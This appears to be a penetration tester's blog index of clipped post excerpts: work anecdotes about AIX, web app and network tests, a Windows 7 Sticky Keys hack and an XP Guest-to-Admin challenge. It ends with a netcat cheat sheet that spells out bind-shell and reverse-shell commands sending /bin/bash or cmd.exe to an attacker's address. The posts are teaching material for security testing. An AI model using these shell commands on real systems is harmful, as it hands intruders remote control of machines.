Pentesting with G0tD4un1k

Sometimes you may get a complete ‘CAN OF WORMS’ to PenTest. Well this started on a busy Monday morning where we were looking at the various PenTest jobs assigned to us. I normally use the early morning to plan and schedule my tasks for the day. As I was about to complete the scheduling and was getting ready for a kick-off meeting with an upcoming project for Penetration Testing, suddenly my team manager came to my desk. Looking at him I had a feeling that somehow my effort of scheduling is going to be in vain soon. Bingo! I was right. He said that we have a urgent request for conducting a Penetration test on a Server – This is a AIX box. Since This was urgent and requires skills on AIX I am going to request you to sqeeze this into your schedule. As I natively do not like things pushed to me at last moment (However in day to day operations we all have to do this) I suggested if this can wait untill next week? Answer was no. So I had to postpone my schedule and we headed to hav...

It was a lovely Friday afternoon and i was creating reports for the 2 Penetration tests I executed during the week. The mood was already for the weekend and we were busy cracking jokes and working at the same time. One of our team mates was not in a mood though. When asked he said he has been on this box since morning and no breakthrough yet. We said that as long as you have checked everything it should be alright. It may happen that the box is really well configured!!! He said well I have checked everything but do you mind running through it once again quickly to make sure I have covered everything. As i was almost done with my report. I gave him to review my report ;) and I headed to take a quick pick on the box. I was already interested as this seemed to be a tough one. I checked the nmap report. Things looked fine. Checked the Brute Force worlists used to crack SSH – Those were fine. I invested some time to go through the discovered services and the known vulnerabilities but...

A short story where the Penetration test ended before it started Sometime back I was assigned a Web Application Penetration testing job on a Thursday afternoon for a project that was going live on very next Monday. Sounds familiar Pentesters!!! Yeah this is one of classic cases where the fair assumption is that my application is already secure and the code is developed as part of Secure SDLC. I am not sure why did we even (as a team) accepted this assignment. Anyways I took the download from my Manager about the assignment. I was told that all the pre-requisites for PenTesting have been met! I thought this is a good opportunity and guided that person – (who assigned me the job) to PTES and OSSTMM. No wonder he was not even aware of this. Well anyhow the job was already in and we had to execute it to the best as per our capabilities. The supposed environment was Test environment. Once the PenTest was over and security loopholes closed this was to go live on Internet. Since I al...

It was a cold Monday morning and I was tasked to do a Security Assessment on a newly built architecture that consisted of 2 Firewalls, a Switch and a router. This was in a data center and a specially built Lab for testing. It was planned that once the lab testing is over the same setup will be migrated to production. So after doing the basic CHECK CHECK CHECK ( PTES | OSSTMM ). I plugged my laptop to the allocated network port and started with my assessment. Started with nmap and SSH was open as expected on all the devices. So as a parallel time consuming activity I fired up Hydra for a Brute force attack on the router and Switch. No point in doing it against the Firewalls. Nmap was over in 15 minutes and nothing interesting came up. SInce the cold was killing me I decided to Start Nessus scan. I quickly made a new scan profile to suit the open ports and services and started the scan against 1 firewall. I knew this is going to take time so i left the Nessus scan against fi...

My Windows 7 Laptop is safe and Patched – Instant Hack Post my last demo on Win XP The company had decided to move on to Windows 7. Few users were migrated as part of pilot program and I was still hanging around. My friend asked me is Win 7 secure? I replied back Natively NO. As you know, you need to build controls in and around a system to make it secure. MS has done some job to introduce security features in win 7 but then its not full proof. With the required permissions in place, I headed for a quick demo again. Boot to Root I was provided with a Brand New Windows 7 Laptop – freshly built. This is a well known Hack with the sticky Keys. Well I am sure everyone has heard of “Sticky Keys” if not feature wise but accidently everyone of us have pressed the Shift Key more than 5 times and that Annoying pop-up comes up for sticky keys. Sticky Keys is a Windows Ease of Access feature that makes it possible to use keyboard shortcuts or type capital letters without needing to press...

Guest to Admin (NT Authority) on Windows XP. It was during December 2013 when i was on my yearly holiday break and I visited my friend’s place. I visited my friend at his office – He is the ISO (Information Security Officer) for his company a SMB. He invited me to a discussion where 2 security consultants from a vendor were to visit them to consult them on migrating to Windows 7 from XP. The consultant started with mentioning that Windows XP is very insecure and easily hackable, even kids can hack it and will soon be out of support. Then he continued telling about windows 7. I mean all of us know that this is obvious that win XP is soon going to be out of support and Win 7 is a much secure system. I was getting bored. But my friend all of a sudden posted a question to the security consultants: “I do not believe in the stories that are going around. I give you a windows XP system and a Guest access – Can you prove this is hackable?” That caught my attention and I suddenly resp...

NETCAT (nc) is also known as the Swiss Army knife for a Penetration Tester. This is used to read from and write to network connections over TCP and UDP. It is very dependable and is often used to start a listener for a reverse shell. It is feature rich and can be used for the following and many more… 1] Chat between two systems Start listener on local machine nc -nlvp [port] Connect to the listener from another machine nc -nv [TargetIPAddress] [Port] Once the connection is established the Chat can go on 2] Backdoor Bind Shell: To create a shell on local port that can then be accessed using basic nc client [a] Linux nc -nlvp [localport] -e /bin/bash [b] Windows c:\> nc -nlvp [localport] -e cmd.exe Reverse Shell: TO create a reverse shell that will attepmt to connect to your ip address on local port. This shell can then be captured using a nc listener. [a] Linux nc -nv [youripaddress] [port] -e /bin/bash [b] Windows c:\> nc -nv [youripaddress] [port] -e cmd.exe Reverse shells...